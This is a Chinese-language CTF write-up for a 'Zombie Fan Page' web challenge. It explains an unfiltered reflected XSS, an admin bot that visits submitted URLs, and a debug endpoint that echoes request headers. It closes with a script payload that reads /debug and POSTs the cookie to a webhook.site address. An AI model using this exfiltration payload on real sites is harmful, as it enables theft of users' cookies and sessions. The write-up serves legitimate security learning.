对应于源码的html文件
<!DOCTYPE html>
<html>
<head>
<title>Zombie Fan Page</title>
</head>
<body>
<p>Welcome to the Zombie fan page!</p>
<form method="get" action="/zombie">
<label for="show">Tell us your favorite zombie show:</label><br>
<input type="text" id="show" name="show"><br><br>
<input type="submit" value="Submit">
</form>
<br/>
<br/>
<br/>
<form method="get" action="/visit">
<label for="url">Give us a URL to a cool zombie page and our admin will check it out:</label><br>
<input type="text" id="url" name="url"><br><br>
<input type="submit" value="Submit">
</form>
</body>
</html>
顺着代码去找相应的路径,/zombie和/visit在index.js中
app.get('/zombie', function(req, res) {
const show = req.query.show
if (!show) {
res.send('Hmmmm, you did not mention a show')
return
}
const rating = Math.floor(Math.random() * 3)
let blurb
switch (rating) {
case 2:
blurb = `Wow, we really liked ${show} too!`
break;
case 1:
blurb = `Yeah, ${show} was ok... I guess.`
break;
case 0:
blurb = `Sorry, ${show} was horrible.`
break;
}
res.send(blurb)
})
在第一个框里输入字符保存在show变量里,会随机跳到某一个case语句里回显blurb里的内容,在这块可看出show变量是没有做任何过滤或限制,可想到xss注入,去尝试一下
再来看/visit
app.get('/visit', function(req, res) {
const validateError = validateRequest(req)
if (validateError) {
res.send(validateError)
return
}
const file = 'node'
const args = ['bot.js', config.httpOnly, req.hostname, req.query.url]
const options = { timeout: 10000 }
const callback = function(error, stdout, stderr) {
console.log(error, stdout, stderr);
res.send('admin bot has visited your url')
}
exec.execFile(file, args, options, callback)
});
它先是把在第二个框里输入的东西保存在req变量里,执行validateRequest()函数,然后开启一个新的应用程序node,去解析bot.js(相当于在命令行里执行python文件如'python test.py')
//validateRequest()函数
const validateRequest = (req) => {
const url = req.query.url
if (!url) {
return 'Hmmm, not seeing a URL. Please try again.'
}
let parsedURL
try {
parsedURL = new URL(url)
}
catch (e) {
return 'Something is wrong with your url: ' + escape(e.message)
}
if (parsedURL.protocol !== 'http:' && parsedURL.protocol !== 'https:') {
return 'Our admin is picky. Please provide a url with the http or https protocol.'
}
if (parsedURL.hostname !== req.hostname) {
return `Please provide a url with a hostname of: ${escape(req.hostname)} Hmmm, I guess that will restrict the submissions. TODO: Remove this restriction before the admin notices and we all get fired.`
}
return null
}
这是要我们在第二个框输入一个url,协议必须是http或https,url的主机名必须和parsedURL.hostname相等,一开始我没明白要和谁相等,猜测是本题的网址,一运行果然就成功回显'admin bot has visited your url',那么根据代码分析就跳转到了bot.js中
我发现还有种方式知道这里该写什么,随便输入一个网址,返回一个错误提示,会直接把主机名显示出来,就知道该填什么了
但是直接输入原网址是没有任何东西的,我们需要的是cookie里的flag,也就是要在原网址里插入xss代码,那么在bot.js中用一个用代码实现的虚拟浏览器browser去访问这个url,从而输出它的内容,
//bot.js
const zombie = require("zombie")
const browser = new zombie ({
waitDuration: 5*1000,
localAddress: 0 // without this, calls to localhost fail!
})
const httpOnly = process.argv[2] === 'true'
const hostname = process.argv[3]
const url = process.argv[4]
browser.setCookie({ name: 'flag', domain: hostname, path:'/', value: process.env.FLAG, httpOnly: httpOnly})
browser.visit(url, function() {
console.log("Visited: ", url)
})
flag在cookie里,flag是由一个FLAG常量保存,又由和Dockerfile和docker-compose.yml可知,flag本身存在configfile里,写进了config.json文件里
RUN echo "${configFile}" > ./config.json
configFile: '{"flag": "wctf{redacted}", "httpOnly": false, "allowDebug": true}'
在index.js中,读取config.json的内容即flag值并保存在config变量里,再保存进了FLAG常量中
const config = JSON.parse(fs.readFileSync('config.json'))
process.env.FLAG = config.flag
那么该如何拿到flag呢?我们来看看index.js里的一个get请求路径/debug
app.get('/debug', function(req, res) {
if (config.allowDebug) {
res.send({"remote-ip": req.socket.remoteAddress, ...req.headers})
}
else {
res.send('sorry, debug endpoint is not enabled')
}
})
访问/debug,会给我们回显"remote-ip"包括请求头,那么我们就可以构造xss代码了,去访问这个/debug,把这个xss代码接在url后,通过Webhook.site这个网址就可以获得访问的记录,最终拿到flag
<script>fetch('/debug').then(r=>r.json()).then(j=>fetch('https://webhook.site/8ab574ff-b363-48a3-a1b3-4455a3001925',{method:'POST',body:j.cookie}))</script>
评论
jinyaoqbb 4月前
index.js 是怎么找到的呢